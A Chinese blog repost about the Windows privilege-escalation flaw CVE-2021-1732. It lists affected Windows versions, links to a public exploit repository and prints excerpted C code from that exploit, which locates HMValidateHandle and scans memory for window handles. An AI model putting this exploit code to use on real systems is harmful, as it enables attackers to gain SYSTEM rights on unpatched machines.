本篇文章给大家分享的是有关如何解析Windows本地权限提升漏洞CVE-2021-1732的分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
漏洞简介
2021年2月10日,微软修复了一个Windows本地权限提升漏洞,漏洞编号为 CVE-2021-1732 ,本地攻击者可以利用该漏洞将权限提升为 System ,目前EXP已公开。
影响范围
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
几乎影响所有主流 Windows 10 系统
漏洞复现
复现环境为 Windows 10 专业版 1903
使用exp可将权限直接提升为 System
EXP
感谢 KaLendsi 师傅提供的EXP源码,下载地址如下:https://github.com/KaLendsi/CVE-2021-1732-Exploit
部分EXP代码如下:
BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("Failed to load user32"); return FALSE; } BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { printf("Failed to find location of exported function 'IsMenu' within user32.dll/n"); return FALSE; } unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'/n"); return FALSE; } unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; //The +11 is to skip the padding bytes as on Windows 10 these aren't nops g_pfnHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); return TRUE; } HWND GuessHwnd(QWORD *pBaseAddress, DWORD dwRegionSize) { QWORD qwBaseAddressBak = *pBaseAddress; QWORD qwBaseAddress = *pBaseAddress; DWORD dwRegionSizeBak = dwRegionSize; HWND hwndMagicWindow = nullptr; do { while (*(WORD*)qwBaseAddress != g_nRandom&dwRegionSize > 0) { qwBaseAddress += 2; dwRegionSize--; } //获取不到才会走下面的步骤 if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000) { qwBaseAddress = qwBaseAddress + 4; QWORD qwSub = qwBaseAddressBak - qwBaseAddress; dwRegionSize = dwRegionSizeBak + qwSub; } hwndMagicWindow = (HWND)*(DWORD*)(qwBaseAddress - 0xc8); if (hwndMagicWindow) { break; } } while (true); return hwndMagicWindow; }
以上就是如何解析Windows本地权限提升漏洞CVE-2021-1732的分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。
原创文章,作者:Maggie-Hunter,如若转载,请注明出处:https://blog.ytso.com/220175.html